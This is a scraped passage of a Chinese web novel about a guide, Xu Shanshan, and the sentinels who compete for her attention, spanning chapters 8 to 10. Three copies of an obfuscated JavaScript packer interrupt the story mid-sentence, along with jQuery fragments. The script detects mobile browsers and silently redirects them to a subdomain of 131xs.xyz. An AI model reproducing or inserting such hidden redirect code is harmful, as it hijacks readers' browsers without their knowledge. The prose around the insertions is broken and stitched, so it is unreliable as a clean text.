男人站起身,握着包装袋走进卫生间,水花声逐渐响起,他将袋子内侧清洗干净,接着用抹布擦干,走回房间,从柜子里掏出一个圆盒子,指纹解锁,里面放着几缕头发。 是他捡的,在她离开后。 包装纸放进盒子里,这是她留下来的纪念品,曼努埃尔跪在床前,将头埋进胸前,感受着发丝传来的她的香味,感受到身体躁动。 徐珊珊没能很快入睡,也许是傍晚的补觉,抑或是宵夜吃多了,又或者是看到令人血脉喷薄的腹肌照,总之她失眠了。 捱到了凌晨,才渐渐睡着。 置身于草原上,积雪初融,吹过来的风带着寒意,天色橘红,远处传来雷鸣般的低沉吼叫。 夕阳剪影下,隐约看清是数头体积庞大的野牛,头部、颈部长满蓬松而长的粗毛,头顶两侧有短而向上弯曲的角。 由数只灰狼组成的狼群逐渐靠近野牛群,它们围绕着边缘打转,寻找突破口,试图分裂团体,追逐开始。 首领率先发起攻击,其他成员紧随其后,野牛群的奔跑速度不慢,一边向后蹬粗壮的后腿,踹向狼身。 狼群使用了车轮战,落单的野牛被不停驱赶,累坏了,速度逐渐慢下来。 即使疲惫不堪,因体型大,仍有攻击力,但数只狼环绕着它打转,从躯体上撕下肉,身上糊得鲜红。 追逐战持续了许久,天彻底黑了,首领的嚎叫声飘荡在草原上,紧跟着其他成员连绵起伏的嚎叫声。这响亮的声音,对她来说无异于催命符。 给她干哪儿来了,这还是国内吗? 徐珊珊抬起腿,走在地势平缓的山坡上,草丛边缘擦过小腿,不顾痒意,她想离狼群远一点。 但走了很久,直到喉咙干渴,嚎叫声却不曾变小,距离不仅拉远,反而逐渐缩近了。 好嘛,她要命丧于此了。 一双双闪光灯般的眼睛冒了出来,原本伸手不见五指的黑夜,竟能见到一点前路,但这意味着她和狼群近在咫尺了。 所幸脚下是坚实干燥的土地,没有碎石滚落,脚踩着荒凉的土地,不顾一切地向前跑。 沉重的喘气声,狼群从身后追赶上来,粉色舌头甩在嘴外散热。体力迅速消耗,迷失方向,两眼抓瞎,只能凭借本能逃跑,但仍然被包围了,弯下身按住膝盖大口喘气。 前后左右围住她,手脚紧张地发抖,领头的狼王体格高大,喉咙里发出发动机般的持续轰鸣声,随着一声怒吼,头狼扑上来。 一股力促使她向后倒下去,手及时撑地,面部朝上半躺着,草丛形成一个天然的毯子挡在身后。 明明它们刚刚围猎了一只野牛,她却没闻到任何血腥味,狼王四脚张开,跨在她身体两侧,两个闪光灯在她面前晃来晃去。 她伸出手,试探着摁向对方的颈部,蓬松的毛发,手接近敏感的喉咙,但对方并没有将其视作挑衅,湿润而粗长的鼻子低靠在她的脸上嗅闻,暂时没有要咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904792|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的意思。 四腿跪下来,趴在她身上,将头拱进胸前,鼻子喷出湿热的吐息,两只远光灯一般的眼睛望过来,“嗷嗷~”,用头拱了拱她的手。 徐珊珊:? 我是驯狼大师? 她安抚性地摸了摸它的大脑盘子,就像以前摸外婆家的小狗一样,狼王伸出长舌头舔舐自己的脸,黏糊糊的,搭在蓬松的毛发上,往后推,纹丝不动。 她的手放在它的脸颊旁,发现了一块斑秃的地方,一直连到脖颈处,它受了伤。拇指拂过那寸粗糙的表皮,它委屈地怔住了,发出的声音娇滴滴的,嘴也停下,完全扑进她怀里,那狼爪有她半张脸大。 “乖一点。” “嗷嗷~~” 徐珊珊没想到自己嘴里能发出狼嚎,不知所措地从对方身下挣开,低头看去,结实腿骨,硕大爪子,自己也变成了一头狼。 很好…… 后背一沉,又有狼爪子搭上来,她不耐烦地转回去,龇牙咧嘴地低吼,试图往前去咬对方的脖颈,确立地位。 头狼灵敏地往后跳,尾巴夹进后腿间,“嘤嘤,”地叫。 徐珊珊:? 这不对吧,她会咬人,不是,咬狼? 她呆住了,茫然地看向体型有自己两倍大的狼王,忍不住吐槽:你不是高大威猛又凶狠吗,怎么这么怂,跟个受气小媳妇一样? 突然地上有一具新鲜的尸体,血腥味扑面而来,真不卫生,谁会吃生肉啊,可不知为何,什么力量驱使着她低下头,锐利粗长的犬牙刺破皮肉,将它撕扯下来,落入口中。 哎,真香! 看来变成狼,思维也被同化了。 吃饱喝足后,她走到一边,狼王开始进食,一旁的成员有的等不及,想要上前蹭肉吃,被咬住嘴筒子,喉咙里发出低沉的警告,对方立刻转身,露出柔软的肚皮,四肢蜷缩在一起,尾巴夹紧。 狼王将前肢踩在对方身上确定地位,一会儿后放对方离开,低头进食,吃一口就要抬头看一眼,就好像生怕她跑了,进食后昂首阔步地走到她身边。 徐珊珊逐渐感知到这是一场梦,但狼的视野还挺奇妙的,她拥有了夜视能力。美中不足的是,狼王又来骚扰自己,难道自己的角色是狼后吗?所以它其实是怕老婆? 它试图将前腿搭在自己的后背,她感到自己的身体散发出信息素,其他的雄狼嗅到气味,陆续凑了过来,想要舔她的毛,被狼王吼叫着驱赶。 …… 她醒了,向天花板抬起手,没有绒毛覆盖的五指,太好了,她还是个人! 想起昨晚梦见的东西,感到莫名羞耻,还有,前面就算了,后面两头狼又变成了人是怎么回事?真是毫无逻辑的梦,但触感却很真实。 整个人皮糙肉厚的,无论是咬他的脸,还是拧耳朵都没反应,给她的感觉就像是,打了他一巴掌,还会把另一边脸也凑上来的那种。 没出息。 没记错的话,他的脸颊和脖子的交界处,有一片摸着像黏膜的东西,当狼的时候就用前脚捂着不让她看,做人的时候更是撇过头,不愿意暴露在她面前。 算了,不过是一个梦。 8. 第 8 章 第二天,照常去找薛柔姐,负责打杂,本打算在各向导的静音室窜门,和她们打好关系,下了班就去二十七层,可计划赶不上变化。 秒针与分针重合,下班时间到了。 塔内的二队哨兵们齐坐在会议室内,每当电梯在这一层停下,他们就聚精会神地感知,发现没有那股香味,又放松了精神,继续紧张又期待地等待着。 坐在桌角的男人问候身旁的人,“你觉得我看上去怎么样?” “坦率地说,不如我。” 他“啧,”了一声,抚平衣领处的褶皱,“我认真的。” 同伴这才看了过去,轻淡一句,“还行。” 偶有路过送文件的哨兵走出来,看见门口的两人,挑高眉毛,“你们这是要结婚了?”可对方只是搪塞过去,迫不及待地把自己送走,这里面准有猫腻。 终于忙完,徐珊珊匆匆收拾好东西,跑进电梯。 楼层数下降,门还没有开,就有两个人站在外面,而其他人被赶到会议室。她走出门,见到身着笔挺西装的解逸飞队长,而布鲁诺则是一身黑西装,胸口缀着红宝石胸针,耳朵挂着耳钉。 她看得目瞪口呆,回头看了看楼层,以为自己走错了,二十七楼,没错,嘴张成一个圆,半天才反应过来打招呼,“解逸飞队长,布鲁诺。” “欢迎,”一捧鲜花塞进她的怀里,新鲜的,很香。 “请跟我来,”解逸飞为她介绍:同为空战组,但两支队伍的定位不一样。 一队成员主要为猛禽,即鹰、隼、雕、鸢、鸮等鸟类,他们视力强大,攻击主要靠利爪,是真正的空中霸主。而二队的队员的精神体类别混杂,能够执行较为复杂的任务,包括部分鸟类、昆虫、还有少数哺乳动物。 “之前我曾经遇见过两只蜜蜂,和一只老鹰,在负三楼,他们是你的队员吗?” 解逸飞:“精神体为蜜蜂的两位哨兵是小队成员,他们是两兄弟,无需言语就能向彼此传达信息,擅长侦查,至于老鹰,他叫宋晓宇?” “对,就是他。” “他是一队的,”两人来到展示栏的照片墙面前,他指着墙上的人一个个教她认,“这是他们的队长,精神体是金雕。夏广礼,你认识,他的精神体是游隼。” 将他们介绍完后,补了一句,“他们在外执行任务,应该下周就能回来了,你不用担心,这次任务不危险。” “那你呢,解逸飞队长,可以告诉我你的精神体吗?” “丹顶鹤。” 将一队的人认完后,黑发男人递过来一杯温水,她接过来喝下,接着往旁边走,解逸飞开始介绍二队的队员。 天鹅、丹顶鹤、乌鸦、喜鹊、蜜蜂、胡锋、蝴蝶、甲虫、蜻蜓、蝙蝠…… 不得不说,二队的人员组成真的很杂,因此他们执行任务时往往不是整队出动,而是根据任务类型,选择合适的队员。 她突发奇想,“那有萤火虫吗?” “有,”解逸飞指向一张照片,上面的男人有张鹅蛋脸,念出他的名字,“在求偶时,尾部的发光器会发生化学反应,发出荧光,”他转过身,“你想看吗?” 黑发男人张开口就要喊人,她连忙制止他,“不,不用,我就是好奇。” “好,”介绍结束,她被引到会议室门口,室内的长桌两侧,哨兵们纷纷起立,布鲁诺拧开门把手,走进去,将门抵住。 解逸飞牵着她的手走进去,“请按照自己的心意选择。” 这不对吧? 徐珊珊一进门就惊呆了,不是说随便找个有空的人,怎么这么多人? 视线从左边第一个看到最后一个,然后从右边的最后一个转回第一个。对视时,对方都露出笑容,点头表示友好,全是又高又帅的型男。 布鲁诺看着她的目光看向其他人,笑意收敛了,眼神低垂看向椅背,暗自感到失落,双手交放到后背。 被众人盯着,她还有点不适应,拔腿就想跑,不自觉紧扣双手。 解逸飞、布鲁诺,包括全场哨兵都随着她的目光而动,因此当她展现出退缩时,解逸飞第一时间握紧她的手,他视线瞥过去,其他人纷纷低下头。 “坐吧。” 解逸飞牵着她走到桌前坐下,其余人也跟着坐下,玻璃杯被放在木桌上发出响声。 “还有些队员在外面,”他递交一个名录上来,非常贴心,姓名、性格、自我介绍,照片、还有精神体的照片,只一晚上就把这些事都做好了么? “我已经和他们沟通过了,不管你想选择谁都没有关系。” 这么大牌面? 心脏跳动加剧,在众人目光的注视下,她只想下一秒飞上遥远的高空,再也不回来了。又抬眼看了一圈,男模打扮的队员们,深感这样离开很不负责,毕竟别人这么精心准备。 见她有些犹豫,也藏了几分私心,解逸飞开口:“把你们的精神体放出来,记住,不要吵闹,也不要乱动。” 她还没来得及谢绝,下一秒,大大小小的精神体填满了会议室,于是她得以看到,解逸飞队长身旁仙气飘飘的丹顶鹤,站在门边的布鲁诺身旁倒挂着的蝙蝠。 她还没一次性见过这么多动物,除了在动物园和纪录片。 目光梭巡了一圈,长官说不要一直找一个人,就算每天一个,到下周也用不上几个人。虽然挑的眼花缭乱,但出于陌生的恐惧,她还是选择先找熟人。 在名单的第一页往下看,好似在上面寻找名字,而那些位置靠后的哨兵,见她没往后翻,略感失落。 但她的人选早就确定,徐珊珊抬起头,看向身旁的男人,“解逸飞队长,你今天有空吗?” 在场的人感到意料之中,解逸飞虽然也能理解她的选择,合乎情理,但听见她的邀约时,心还是跳快了一拍,“好,还需要别人吗?” “不,应该不用了。” “好。” 接下来的几天,她的行踪一如既往,在串门的过程中,她有新发现,向导并不是都像薛柔姐这样,对待哨兵友善,也有些向导比较嫌弃哨兵,认为他们容易失控,兽性十足。 而精神疏导也并不总是温情满满,部分高级向导的精神力偏控制,在治疗过程中,那些哨兵的神情并不轻松,像被捶打了一顿,整个过程谈不上温柔,甚至可以说有些粗暴。 在期间没有见过发狂哨兵,他们的脖子上都戴着项圈,但凡有点迹象,就立即被警卫带走了。 她大致了解了工作情况,闲下来也照样私下找人进行练习,按照长官的建议,她每天都拜托不同的人,而今天的对象是布鲁诺。 看来完事后,请吃饭要花很大一笔钱了。她提前为自己的钱包默哀。 一连几天来到这里,每次都好吃好喝地伺候着,越待越久,竟有成为第二个家的趋势,她的姿态也越发放松。平躺在沙发上,感到有些泛困,布鲁诺蹲在沙发前,从透明碗中拾取一颗绿葡萄送进她口中。 光脑被搁置在桌面,不停震动,她有些疑惑地望过去,是有事还是垃圾广告,男人看了一眼,回答:“一条消息。” 伸出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904793|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,示意他将东西递过来,她躺靠在沙发上,将小蝙蝠放在手边,点亮屏幕,新消息来自领导,像一盆冷水泼下,头脑清醒了片刻。 【你在哪】 短短的三个字就营造了莫大的恐慌氛围,她突然有种上课开小差被老师抓包的恐惧感,脊背发凉。 蝙蝠的手腕贴着掌心,身体呈现米色,前肢和后肢间生长着灰色薄而无毛的翼膜,前肢的指骨细长撑起皮膜,眼睛大而圆,两只黑色耳朵薄如蝉翼,斜向两侧张开。 它走动时,像个披着皮衣的老鼠,后肢直立,手肘往后勾,轻薄的翼膜闪光,而头顶又毛茸茸的,如果用毛巾裹住身体,看起来狗头狗脑的。 它趴在手掌上,舔舐手心,她有些无奈,将一枚葡萄塞进对方嘴中,将它放在枕头边,自己坐起来。 “结束了,去旁边吧。” 抓住脚趾,将它提起来,蝙蝠挥展双翼,翼膜间清晰可见条纹状的血管网络,它飞到一根木棍下倒挂。这个房间有很多这样的横杆,供飞行生物停靠。 蝙蝠用翼膜将自己包裹起来,裹住整张脸,两□□拢,倒立打了个哈切,接着闭眼睡觉。 手指伸到面前,指尖被水珠浸得亮晶晶,她推开对方的手,“不好意思,我回个消息,你先自己吃吧。” 全部目光集中于屏幕上的消息,纠结了半天后做出回复:【抱歉长官,现在才看到消息,我在进行训练。】 【我在二十七层,空战组】 【你该向我汇报】 她的手指敲击着屏幕,不知道该怎么解释了,男人倚靠在她身旁,没注意两人的距离凑得很近,他好奇地问:“他是谁?” “我领导。”回答简洁。 喔,让她这么紧张、在意的人,只是领导吗? 布鲁诺:“他连你的私生活也要干涉?” “嗯……”她叹了口气,不由得开口辩护,“他是个负责任的好长官。” 莫名地,她不希望对方误会,解释:【我没有去负三楼,这几天下班后都在这儿,也没有逮着一个人,二队有很多人,他们都愿意陪我练习。】 好,还不如不解释。 山昊看见传来的消息,良久的沉默终于变成一声自嘲,他这几天在等,好笑地摁向自己隐隐作痛的太阳穴,还以为对方没准备好,没想到是找了别人。 原来他从不在她的考虑范围内吗? 【好】 简洁的答复,徐珊珊有点摸不准他的心思了,按理来说,这后面应该加上一句:下次记得提前向我汇报。 考虑到长官目前还是她最大的靠山,可靠的后盾,她思来想去,还是决定亲自去探探口风,看他到底怎么了。如果自己哪里做错了,就要道歉并改正。 见女人佩戴好光脑,站起身,布鲁诺不禁贴过来,语气急促“你要走了么?” 男人又凑在身边,不满道:“下班时间,他找你做什么。” 他请求道:“留在这里多陪我一会儿?” 徐珊珊看向他的脸,恳切的表情,好像有点太粘人了。她微张开嘴,沉默地低头,发出消息:【我已经弄好了,马上回来。】 【不,我来接你,我马上到】 “咚咚咚——” 房门被敲响,“布鲁诺,徐珊珊向导”是队长的声音,“你们好了吗?” “马上好了,请稍等。” 她立马站起身,走向卫生间,打开水龙头洗脸,希望让自己变得清醒些。布鲁诺看着她离去的背影,闷闷地坐在沙发上,拾起绿葡萄送进嘴中。 9. 第 9 章 镜中的自己面庞绯红,发丝卷曲散落在耳侧,头发有些凌乱,衣领因为被躺靠而压出印子,手臂处的青筋从白净的皮肤透出颜色,表面有数个短小红痕。 她竟没发现这是什么时候留下的。 拧开水龙头,哗啦啦的水流像白噪音一样冲刷她的内心,伸出手摊平衣襟,稍一松手,布料还是缩了回去,沮丧地决定放弃。手握住除味剂瓶身,摁下喷头,从上到下将自己撒了个遍。 有种中学时偷偷去网吧被家长逮住的心虚。 手伸出,触及水柱,室内的空气有点闷热,黄灯闪烁,还是第一次见到,她惊讶地张望,试图想弄清楚发生了什么事。 布鲁诺站起身,朝她走来,蝙蝠睁开眼,扇动羽翼,飞跃进来,它四处巡视,没发现什么异常,倒挂在门旁的毛巾架上。 应该是出了什么事,但情况不算严重,布鲁诺寸步不离地挨着她。 “小心。” 也许是因为紧张,水流突然增大,无意间,手腕向上倾斜,它便沿着小臂滚动,撒到胸前,沾湿上衣,水珠挂在腹部以及大腿面料处。 凉意刺得她惊呼,缩回手,下意识往后靠,被人揽住胳膊,她低头看发现只是溅了水。男人从夹子上扯下全新的毛巾,递到身前,另一只手越过腰间,往前关紧水龙头。 “擦一下,小心着凉。” 她叹了口气,将毛巾接过去,布料柔软充满绒毛,擦水,可能是有点晕头了,做事太粗心。每次接触后,都觉得有些失神,而今天时间又拉得长。 浅色上衣因为湿掉而紧贴躯体,显出内在轮廓,透出一丝肉色。布鲁诺看向她紧皱的眉头,目光紧锁在湿透的衣服上,应该是在为此烦恼,闷不做声地往房间里走去。 他拎着一件新衣服走出来,完全是她的尺寸,询问她是否需要更换。 “不用了,我回去换吧。” 她担心这样做可能会引起不好的误会,就好像两人做了什么事似的。 布鲁诺见她不愿意,也不勉强,转而取出一件黑色斗篷,它本来是用来挡雨的,对她来说有些长了。 她没有拒绝,也不想别人看见自己湿透了的样子,转过身,男人的双手环绕在肩上,在脖颈前方将系带打结,两片布料交错,并在腰间扣住。 来之不易的近距离接触机会,她很谨慎,愿意接纳他们的精神体,但哨兵本人靠得太近,就会引起警觉地对视。因此他们其实没什么机会近身。 布鲁诺盯着手上的活,几乎要将飘带系出一朵花,布料垂下,衣角贴地,把她裹成一个黑粽。 “谢谢。” 没有多余动作,结束后,布鲁诺往后退了一步,上下打量成果,确认没问题,门外又传来一声催促。 她将毛巾放回夹子上平铺开,在镜前端详自己的面容,确认不会露出来后转身离开。 布鲁诺跟在身后,经沿茶几,她俯身拾取自己的光脑和手提包,耳边碎发垂下,搭在流畅的下颌线,没有停留往门口走去。 布鲁诺:“你以后会再来吗?” 手握在门把手上,听了这话,她纳闷地转身回望,不明白地歪了歪头,“当然。” 见他这幅样子,好像要生离死别一样,她有些好笑,语气轻松地调侃,“怎么,舍不得我?” “对。” 突如其来的内心坦露,让她不知道该怎么接话,恰好小蝙蝠飞到她的身前,她伸手接住它,假装摸头转移视线,“你想什么呢?” “我明天还要还你的斗篷,当然会再见啊。” 布鲁诺:“我明天不在,要出任务,这次要去的地方很远。” 三人小队,一人在外接应,其余两人各司其职,他需要独自探索连绵上百公里的溶洞的水上部分。 “啊……”突如其来的告别,她没想到会这么快,“危险吗?” 他内心感到别扭,既想道出实情,看见她真心实意为自己考虑,证明对方在意自己,又不想让她担心。 “不,就是太远了,来回需要很长时间。” 他怕自己离开太久,等回来的时候,对方已经把自己忘了,毕竟向导从不缺少追求者,他们接触没几次。 他需要承担自己的责任,因此非走不可。 但他也有自己的私心,“如果我死了,我的……” 听他开了不好的开头,徐珊珊立马打断了他后续的话,别乱立flag啊,她语气郑重地说:“不准死,活着回来。” 虽然从危险区回来,她对现实环境还是没有太多实感。理性上,既然那么多向导都要随队外出,巩固、扩展边界,可见这个世界没有多安全。 上次和夏广礼道别的时候,他的态度轻松得就好像出去郊游,她也没意识到对方会去执行有危险的任务。 今天是第一次,认识的人向她道别,虽然不算很熟,甚至因为第一次见面时的不愉快,她还对对方有一点意见,但这并不意味着她会对他身涉危险无动于衷。 死亡是一件严肃的事。 见他愣神,她不由得重复了一遍,“我不会忘记你的,所以活着回来,听懂了吗?” 一只手握着衣摆,“等你回来,我再把雨衣斗篷还给你,到时候我再请你吃水果,你不是喜欢这个吗?” “我们一起去果园,边采边吃。到时候夜里,我们来玩‘抛球’的游戏,我丢出去,看看它能不能接住。” 手中的小蝙蝠裂开嘴,露出两颗小尖牙,显然听懂了,很感兴趣,他低头看过去,想到对方要走了,就将精神体收了回去。 布鲁诺想象到那个画面,她的话无疑给他服下了一剂定心丸,逐渐扬起嘴角,“一言为定。” 她故作轻松道:“可惜这周末我要请他们聚餐,你占不到我便宜了。” 无伤大雅的玩笑,让互动变得更自然,之前相处时她过分礼貌、拘谨,也许这证明着,她开始将他当做能说话的朋友。 “那我亏大了。” 他深知自己对比他人缺乏优势,无论是朝夕相处的直系上司,还是救命恩人,亦或者是温和体面的队长。 精神体要么凶猛威武,要么高洁优雅,又或者是小巧可爱,他三不沾。亲眼目睹,她目不转睛地盯着仙气飘飘的丹顶鹤,抚摸它洁白顺长的羽毛,眼睛发亮,也听说了她对鸟类的偏爱。 她甚至对小型昆虫的兴趣都比他更浓,蝙蝠向来寓意不祥,被视为黑暗、恐怖、邪恶、不洁的象征。他预料到,对方不会选择自己。 这个机会是他费尽心思争取来的,被队长记下责罚,只是希望她能在众哨兵中多看他一眼。 当他的精神体出现在她的面前,对方目光颤动,手指发抖,不自觉往后缩,她也害怕,但还是伸出了手,任由它趴在掌心。 对谁都是一视同仁的好,没有偏爱或排斥。哪怕是那个救了她命的人,更多的也只是感恩之情。但她对长官的反应不太一样。 因精神体刚和向导进行接触,他无法控制好自己的占有欲、嫉妒心,所以才对那额外的偏爱,感到精神扭曲,萌生出破坏欲,忍不住挑拨二人间的关系。 凭什么你可以,而我不能?她无动于衷,他还可以欺骗自己,为她解释,但倘若这种偏心明晃晃放到台面上,便让人忍不住想从中插一脚,将那人变成自己。 向里拉开门,今天没有古灵精怪的小动物们挡在门前,围绕着她,使出各种手段吸引她的注意,邀请一起玩。 走出门口,房间、走廊里的黄灯停止闪烁。这是怎么回事?她就超了一点时间。 解逸飞站在门后,不知道在这站了多久,看见她的打扮,带着审视的目光看向身后的布鲁诺,他脸上失魂落魄。 没理他,解逸飞走近,俯身轻问:“发生什么事了吗?” 她摇头,“没事。” “咚、咚、咚……” 稳健的脚步声从远处浮现,她听见长官的嗓音,他在询问旁人,她在哪里,得到答案后,脚步声逐渐接近。 直到走到她面前,初见这幅打扮,也是上下扫视,见她完好无损,明显松了一口气,手从腰间放下,转而看向一旁的男人。 “山昊长官。” “解逸飞队长。” 她还以为对方会当众责怪自己, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904794|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但其实并没有,只是习惯性地摆一张臭脸,“走吧,我们一起去吃饭。” 看来人与人之间的成见是一座大山,她误会他了。 女人点头,走过来,山昊转头道别:“我们还有别的事,就先离开了。” 解逸飞顿了顿,“我跟你们一起去吧。” 不知为何,山昊的目光在他的眉眼间停留,竟然同意了。 不是吧?那她岂不是要当着解逸飞队长的面被训了,她的面子都要丢光了,且不提有没有这东西,三人一桌吃饭的画面也很诡异啊,不苟言笑的长官和亲近体贴的队长,然后她该不该说话,完全想不出来。 三人相继来到候梯厅,摁下下楼键,眼见着楼层逐渐上升,山昊突然想起了什么,往左侧走,前往向导的专属电梯,向她招手,“来这儿。” 她没想明白为什么要坐这个,但也跟着走过去,不一会儿就到了,三人跟着走进去。 十分有十二分的不对劲,他为什么要不走寻常路? 她看向电梯墙壁的泛光,紧张地扣了扣手,男人抬起手看向自己的光脑,一言不发地紧盯着楼层和电梯口。 眼见着就要错过食堂,她仰起头看向解逸飞队长,对方低下头,轻声问:“怎么了?” 想到长官可能是没注意,电梯还在下行,她不禁悄悄提醒,“食堂要到了。” “我们不去食堂。” 那去哪儿吃饭?她又转头看向解逸飞队长,对方安抚性地回了个眼神,“你要带她去哪?” 山昊透过镜面看见两人互动,不易察觉地皱眉,扭过头,两人目光对峙,冷淡回应:“与你无关。” 电梯发出哐当一声。 她吓了一跳,发现自己已经被抱在怀里,仔细一听,才发现是隔壁的声音,好奇地想凑过去,被环住腰,动不了。她想请他松开,但队长只是摇了摇头。 长官看过来,电梯门缓缓开启,“到了。” “我不乱动。”她解释道,希望他松开自己,毕竟在长官面前,还怪难为情的,在他松手后,她立刻起身,走到长官身旁。 解逸飞走出电梯,停下脚步,四处扫视,随后紧随两人身后。 她总觉得他们今天有点大惊小怪。 往前走,不远处就是大门,落日将室外染成橘色调,看起来很特别。 异变突生,低沉的怒吼声响起,随后地面颤动,像是有什么庞然大物冲过来,她呆滞了,看见大厅两侧站着的卫兵朝她奔来,心脏骤然停止跳动。 缓慢地转过身,回头看,一只体型壮硕的黑犀牛朝她狂奔而来,皮肤粗糙呈现灰色,体毛稀少,它的额头上前后长着两只角,前角像弯刀,后角笔直,那长度看起来能将她捅穿挂起来。 恐慌情绪从胸口蔓延,时间仿佛变慢,只感觉要被这辆“装甲车”踩踏。 但清晰、响亮、连续的枪击声接连响起,眼见畸变哨兵发狂,数人拔枪,而身旁两声枪响在最前面, 她抬眼望去,发现是长官和解逸飞队长,两人几乎是下意识,毫不犹豫地拔出腰间的配枪,朝它射击,枪口发出闪光,直到清空弹夹,冒出一缕青烟。 他们目光专注,紧盯着那头巨兽,长官杀伐果断并不令她意外,但队长却让她感到惊讶,一向和善体贴的形象,没想到也有这样强硬姿态。 喉咙梗住了,她说不出话,转过身看去,那头黑犀牛跪趴倒地,而它身后,数名警卫挟持着一名头部被黑色麻袋罩着的男人,也双腿跪了下去,无力地晕倒地上。 眼睛几乎不眨,深深地将这一画面刻入脑海中,她感到自己的肩膀被摁住,一股力道促使着她转身,帽子被揭起来戴到头上,遮挡了她的视线。 “走。” 见她被吓到了,解逸飞向山昊打了个手势,示意接下来他待在现场,让两人先行离开。男人点了点头,一只手揽住她的肩膀,半软半硬地带她离开。 直到走出大门,沐浴于橘色光影中,她还有点恍如隔世的错觉,扭过头试图回看,一双大手挡住了她的视线,手掌扶着脸颊,耳边传来冷硬的话。 “别看,往前走。” 10. 第 10 章 跟在长官身后,她坐进轿车的副驾驶,背靠在座椅上,男人绕过前窗,从左侧上车,座椅自动调整位置。 男人看过来,见她的脚尖踮着触不到地,座椅高度对她来说不合适,双手攥在大腿上,眼神飘忽不定,知道她被吓着了,提醒道:“安全带,” 她听见声音回过神,发现自己忘记了,从右上方扯下织带,将卡扣摁进左侧卷收器中。 “咔哒,”它锁紧了。 男人俯身罩过来,外套手肘处形成几道褶,身上一股清新淡香,贴着她左侧肩膀,她转头,发现两人鼻尖仅有几厘米的距离,惊讶地问:“长官?” “别动。” 安全带被拉动,他在检查。感受到对方的吐息喷在脖间,她仰起头,侧看向窗外,又偏过头,注视着他垂下的眼睛。 她该庆幸吗?在这里,有他们保护她,作为一个缺乏攻击手段的向导。她眨着眼睛,不知道如何做想。 男人摁下座椅左侧的调节按钮,她感到座椅在平缓下降,脚面逐渐放平,接着后背向后倾斜,头枕下降,落到脑后。 他稍抬起身,见她脸色发白,神情萎靡,有些担心。靠近的时候感觉体温偏热,他伸出手覆在额头上,还好,不烫。 她得习惯这些事,她当时楞在原地,身体僵直,不像经受过训练的人。也许她该接受作战训练,哪怕并不随队外出,这样在危险来临时就能多一份保障。 这个畸变哨兵刚从污染区回来,精神状况不稳定,本不被允许接近向导,她一心甩脱他,约好私下见最后一面,而他试图将对方绑架,带出白塔。 向导试图用精神力攻击他,于是就变成这样,神智混乱起来,所幸她已经送往医院治疗,并无大碍。 他的行为违反了法律,不管出于什么原因,试图伤害向导的人会受到严厉惩罚。但他们的确是半个疯子,而她似乎对此毫不知情,毫无防备心。 被给了甜头的人是很难放弃的,她对他们也太好了,而他必须从中观察,提前筛选掉那些不够健全的人。 被发狂的哨兵撕碎,亦或者是带到野外,从此失踪的向导也是有的。 如果想要和他们相处,就得自己把握主动权,自始至终,知道什么时候该勒紧绳索,什么时候又给点奖赏。 他看向她玻璃般透亮的眼珠,漂亮、脆弱,从储物格中取出蒸汽眼罩,撕开包装递给她,“睡吧,等到了我叫你。” 见她没反应,他喊了她的名字,她忽然转过头,“到,长官!” “闭上眼睛,深呼吸,放松一会儿。” 她低头看见,头脑内十分混乱,想了想还是点点头,接过去。 车辆启动,来到检查站门前,士兵伸手拦下车,她躺靠在座椅上,瞥过头,见长官将两人证件递交过去,他往车窗内望,嗅到气息,是一名向导,披着漆黑斗篷,双眼失焦。 鉴于刚发生的事,他谨慎地问:“你们去哪儿,做什么?” 这是他的职责,他做得很好。山昊:“吃饭,在我家,证件上有家庭地址,报备过了。” 他仔细翻看,目光从每行字扫过,后方车辆越来越多,有些漫长了。 徐珊珊露出微笑,对方的目光注意到了,猝不及防地收回眼,“他是我的长官,我们想出去吃个饭,有问题吗?” 两人表现得十分亲昵,他多少有些羡慕,将证件还给两人,抬起手,道闸升起,“玩得愉快。” “好的,谢谢。”她也伸出手挥动,士兵一走开,脸上笑容消失,回正身看向前方。 白塔外围有一片管控区,外人无法进入,通过封锁线,经过第二道检查后,才是大众居住的区域。 山昊本打算带她去外面看看,逛夜市,散散心,那里很热闹,她应该会喜欢。但经过今天这事,恐怕她已经没有心情。 宽阔、平整的柏油马路,两旁是茂密的树林,山坡上筑有哨卡,不远处坐落着集体宿舍,和数栋分散的小房子。 她看得累了,手中眼罩发热,将系带挂在耳后,大部分光线被遮挡,视线昏暗,躺靠的姿势让腰部放松,呼吸逐渐平稳。 她睡着了,山昊侧过头看了一眼,回头继续往前开。 这栋房子距封锁线不远,他将车驶上坡道,进入车库,身后铁门缓缓合拢。女人睡得正酣,嘴角流出可疑的涎液。 